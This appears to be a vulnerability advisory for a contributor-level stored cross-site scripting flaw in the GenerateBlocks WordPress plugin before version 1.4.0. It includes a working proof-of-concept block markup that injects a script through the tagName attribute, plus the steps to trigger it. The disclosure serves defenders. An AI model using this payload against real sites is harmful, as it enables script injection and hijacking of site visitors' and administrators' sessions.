WordPress Plugin Vulnerabilities
GenerateBlocks < 1.4.0 - Contributor+ Stored Cross-Site Scripting
Description
The plugin does not validate the generateblocks/container block's tagName attribute, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks.
Proof of Concept
Add the following code in a post/page while in code editor mode with an Contributor account: <!-- wp:generateblocks/container {"uniqueId":"98c07d5a","tagName":"script src=data:application/javascript,alert(/XSS/)","isDynamic":true} /-->
Then view/preview the page/post to trigger the XSS Affects Plugins
Fixed in version 1.4.0
References
Classification
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
Timeline
Publicly Published
2021-11-01 (about 6 months ago)
Added
2021-11-01 (about 6 months ago)
Last Updated
2022-04-09 (about 1 months ago)